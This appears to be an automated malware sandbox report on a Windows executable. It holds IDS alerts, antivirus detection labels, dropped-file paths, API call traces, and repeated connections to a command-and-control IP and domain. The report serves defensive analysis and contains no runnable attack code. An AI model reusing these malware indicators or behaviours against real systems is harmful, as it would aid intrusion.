2024-12-11T16:25:43.390315+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52262	107.163.241.204	12354	TCP
2024-12-11T16:25:43.390350+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52324	107.163.241.204	12354	TCP
2024-12-11T16:25:45.704668+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53384	107.163.241.204	12354	TCP
2024-12-11T16:25:45.820890+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53421	107.163.241.204	12354	TCP
2024-12-11T16:25:47.489520+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55526	107.163.241.204	12354	TCP
2024-12-11T16:25:47.489568+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55505	107.163.241.204	12354	TCP
2024-12-11T16:25:49.735788+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56247	107.163.241.204	12354	TCP
2024-12-11T16:25:49.845073+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56326	107.163.241.204	12354	TCP
2024-12-11T16:25:51.501863+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58061	107.163.241.204	12354	TCP
2024-12-11T16:25:51.501922+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57951	107.163.241.204	12354	TCP
2024-12-11T16:25:53.740745+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58996	107.163.241.204	12354	TCP
2024-12-11T16:25:53.848769+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59064	107.163.241.204	12354	TCP
2024-12-11T16:25:55.520324+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60767	107.163.241.204	12354	TCP
2024-12-11T16:25:55.520327+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60826	107.163.241.204	12354	TCP
2024-12-11T16:25:57.751798+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62599	107.163.241.204	12354	TCP
2024-12-11T16:25:57.861170+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62749	107.163.241.204	12354	TCP
2024-12-11T16:25:59.533787+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64837	107.163.241.204	12354	TCP
2024-12-11T16:25:59.533794+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64938	107.163.241.204	12354	TCP
2024-12-11T16:26:01.783128+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49903	107.163.241.204	12354	TCP
2024-12-11T16:26:01.892106+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49928	107.163.241.204	12354	TCP
2024-12-11T16:26:03.552117+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50952	107.163.241.204	12354	TCP
2024-12-11T16:26:03.552519+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50770	107.163.241.204	12354	TCP
2024-12-11T16:26:05.782889+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52076	107.163.241.204	12354	TCP
2024-12-11T16:26:05.892252+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52148	107.163.241.204	12354	TCP
2024-12-11T16:26:07.564993+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54341	107.163.241.204	12354	TCP
2024-12-11T16:26:07.564997+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54178	107.163.241.204	12354	TCP
2024-12-11T16:26:09.815489+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56340	107.163.241.204	12354	TCP
2024-12-11T16:26:09.944582+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56384	107.163.241.204	12354	TCP
2024-12-11T16:26:11.581694+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58350	107.163.241.204	12354	TCP
2024-12-11T16:26:11.581720+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58345	107.163.241.204	12354	TCP
2024-12-11T16:26:13.814424+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59128	107.163.241.204	12354	TCP
2024-12-11T16:26:13.922594+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59213	107.163.241.204	12354	TCP
2024-12-11T16:26:15.714568+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60550	107.163.241.204	12354	TCP
2024-12-11T16:26:15.714727+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60645	107.163.241.204	12354	TCP
2024-12-11T16:26:17.954784+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	61837	107.163.241.204	12354	TCP
2024-12-11T16:26:18.175392+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	61878	107.163.241.204	12354	TCP
2024-12-11T16:26:19.721076+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63928	107.163.241.204	12354	TCP
2024-12-11T16:26:19.721104+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63820	107.163.241.204	12354	TCP
2024-12-11T16:26:21.956590+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49227	107.163.241.204	12354	TCP
2024-12-11T16:26:22.064152+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49286	107.163.241.204	12354	TCP
2024-12-11T16:26:23.736151+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51231	107.163.241.204	12354	TCP
2024-12-11T16:26:23.736202+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51179	107.163.241.204	12354	TCP
2024-12-11T16:26:25.970593+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52745	107.163.241.204	12354	TCP
2024-12-11T16:26:26.078215+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52943	107.163.241.204	12354	TCP
2024-12-11T16:26:27.751848+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55105	107.163.241.204	12354	TCP
2024-12-11T16:26:27.751865+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55099	107.163.241.204	12354	TCP
2024-12-11T16:26:30.003505+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56148	107.163.241.204	12354	TCP
2024-12-11T16:26:30.095486+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56266	107.163.241.204	12354	TCP
2024-12-11T16:26:32.005887+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57654	107.163.241.204	12354	TCP
2024-12-11T16:26:32.006116+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57522	107.163.241.204	12354	TCP
2024-12-11T16:26:34.236624+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59061	107.163.241.204	12354	TCP
2024-12-11T16:26:34.361167+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59074	107.163.241.204	12354	TCP
2024-12-11T16:26:36.004817+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60939	107.163.241.204	12354	TCP
2024-12-11T16:26:36.004900+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60826	107.163.241.204	12354	TCP
2024-12-11T16:26:38.267623+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62420	107.163.241.204	12354	TCP
2024-12-11T16:26:38.345685+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62477	107.163.241.204	12354	TCP
2024-12-11T16:26:40.017452+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64620	107.163.241.204	12354	TCP
2024-12-11T16:26:40.017577+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64839	107.163.241.204	12354	TCP
2024-12-11T16:26:42.406739+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49910	107.163.241.204	12354	TCP
2024-12-11T16:26:42.519950+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50045	107.163.241.204	12354	TCP
2024-12-11T16:26:44.033810+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51593	107.163.241.204	12354	TCP
2024-12-11T16:26:44.033850+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51424	107.163.241.204	12354	TCP
2024-12-11T16:26:46.283466+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52000	107.163.241.204	12354	TCP
2024-12-11T16:26:46.400861+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52120	107.163.241.204	12354	TCP
2024-12-11T16:26:48.072887+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54323	107.163.241.204	12354	TCP
2024-12-11T16:26:48.072915+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54419	107.163.241.204	12354	TCP
2024-12-11T16:26:50.346777+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56239	107.163.241.204	12354	TCP
2024-12-11T16:26:50.486220+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56241	107.163.241.204	12354	TCP
2024-12-11T16:26:52.127576+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58669	107.163.241.204	12354	TCP
2024-12-11T16:26:52.127599+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58756	107.163.241.204	12354	TCP
2024-12-11T16:26:54.487042+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60813	107.163.241.204	12354	TCP
2024-12-11T16:26:54.487186+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60811	107.163.241.204	12354	TCP
2024-12-11T16:26:56.253329+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62747	107.163.241.204	12354	TCP
2024-12-11T16:26:56.253376+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62754	107.163.241.204	12354	TCP
2024-12-11T16:26:58.487871+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64340	107.163.241.204	12354	TCP
2024-12-11T16:26:58.596067+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64411	107.163.241.204	12354	TCP
2024-12-11T16:27:00.267499+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49961	107.163.241.204	12354	TCP
2024-12-11T16:27:00.267696+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50008	107.163.241.204	12354	TCP
2024-12-11T16:27:02.502711+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51627	107.163.241.204	12354	TCP
2024-12-11T16:27:02.721139+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51781	107.163.241.204	12354	TCP
2024-12-11T16:27:04.283021+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53449	107.163.241.204	12354	TCP
2024-12-11T16:27:04.283070+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53250	107.163.241.204	12354	TCP
2024-12-11T16:27:06.517930+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54167	107.163.241.204	12354	TCP
2024-12-11T16:27:06.627499+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54268	107.163.241.204	12354	TCP
2024-12-11T16:27:08.302686+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56076	107.163.241.204	12354	TCP
2024-12-11T16:27:08.302725+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56250	107.163.241.204	12354	TCP
2024-12-11T16:27:10.597110+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57568	107.163.241.204	12354	TCP
2024-12-11T16:27:10.738514+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57657	107.163.241.204	12354	TCP
2024-12-11T16:27:12.315448+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60035	107.163.241.204	12354	TCP
2024-12-11T16:27:12.315546+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60195	107.163.241.204	12354	TCP
2024-12-11T16:27:14.565598+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	61976	107.163.241.204	12354	TCP
2024-12-11T16:27:14.661319+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62080	107.163.241.204	12354	TCP
2024-12-11T16:27:16.330830+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64288	107.163.241.204	12354	TCP
2024-12-11T16:27:16.330876+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64142	107.163.241.204	12354	TCP
2024-12-11T16:27:18.565804+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	65421	107.163.241.204	12354	TCP
2024-12-11T16:27:18.674627+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	65491	107.163.241.204	12354	TCP
2024-12-11T16:27:20.346027+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51155	107.163.241.204	12354	TCP
2024-12-11T16:27:20.346051+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51268	107.163.241.204	12354	TCP
2024-12-11T16:27:22.580871+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52585	107.163.241.204	12354	TCP
2024-12-11T16:27:22.721731+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52771	107.163.241.204	12354	TCP
2024-12-11T16:27:24.470569+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	54999	107.163.241.204	12354	TCP
2024-12-11T16:27:24.470681+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55132	107.163.241.204	12354	TCP
2024-12-11T16:27:26.706538+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56775	107.163.241.204	12354	TCP
2024-12-11T16:27:26.832478+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56923	107.163.241.204	12354	TCP
2024-12-11T16:27:28.486065+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58580	107.163.241.204	12354	TCP
2024-12-11T16:27:28.486151+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58639	107.163.241.204	12354	TCP
2024-12-11T16:27:30.893650+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60181	107.163.241.204	12354	TCP
2024-12-11T16:27:31.035071+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60346	107.163.241.204	12354	TCP
2024-12-11T16:27:32.502317+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62705	107.163.241.204	12354	TCP
2024-12-11T16:27:32.502322+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62711	107.163.241.204	12354	TCP
2024-12-11T16:27:34.738010+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63434	107.163.241.204	12354	TCP
2024-12-11T16:27:34.846804+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63529	107.163.241.204	12354	TCP
2024-12-11T16:27:36.517472+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64971	107.163.241.204	12354	TCP
2024-12-11T16:27:36.517667+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	64828	107.163.241.204	12354	TCP
2024-12-11T16:27:38.760325+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50396	107.163.241.204	12354	TCP
2024-12-11T16:27:38.863200+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50467	107.163.241.204	12354	TCP
2024-12-11T16:27:40.533136+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51864	107.163.241.204	12354	TCP
2024-12-11T16:27:40.533184+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	52000	107.163.241.204	12354	TCP
2024-12-11T16:27:42.768791+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53660	107.163.241.204	12354	TCP
2024-12-11T16:27:42.880346+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53773	107.163.241.204	12354	TCP
2024-12-11T16:27:44.569025+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55930	107.163.241.204	12354	TCP
2024-12-11T16:27:44.569100+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55792	107.163.241.204	12354	TCP
2024-12-11T16:27:46.815470+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57469	107.163.241.204	12354	TCP
2024-12-11T16:27:46.957171+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	57499	107.163.241.204	12354	TCP
2024-12-11T16:27:48.707705+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58794	107.163.241.204	12354	TCP
2024-12-11T16:27:48.707911+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58773	107.163.241.204	12354	TCP
2024-12-11T16:27:50.940467+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59420	107.163.241.204	12354	TCP
2024-12-11T16:27:51.050238+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59536	107.163.241.204	12354	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: XgijTrY6No.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ftelcs\rjqzr.dll	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Avira: detection malicious, Label: TR/Farfli.ltgad

Multi AV Scanner detection for dropped file

Source: C:\ftelcs\rjqzr.dll

ReversingLabs: Detection: 67%

Multi AV Scanner detection for submitted file

Source: XgijTrY6No.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Machine Learning detection for dropped file

Source: C:\ftelcs\rjqzr.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: XgijTrY6No.exe

Joe Sandbox ML: detected

Source: XgijTrY6No.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\ftelcs\ReadMe.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50474 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:65319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:51928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:55360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:57674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:53886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:63507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50555 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:57011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:60253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:62469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:52868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:59714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:63675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:62214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64509 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:51516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:55401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58770 version: TLS 1.2

Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\..** source: rundll32.exe, 00000006.00000003.3597257344.0000000000D03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rod.pdb\.* source: rundll32.exe, 00000006.00000003.1813794875.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1813762319.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\.* source: rundll32.exe, 00000006.00000003.2262348463.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\.*e source: rundll32.exe, 00000006.00000003.1572496969.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1572330291.0000000000D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: rundll32.exe, 00000006.00000003.2262330522.0000000000D42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.3597257344.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\..** source: rundll32.exe, 00000006.00000003.3031707203.0000000005B50000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,WinExec,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,WinExec,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: krnaver.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.204 12354	Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 107.163.241.204 ports 1,2,3,4,5,12354

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50487 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50614 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50675 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50858 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 12354
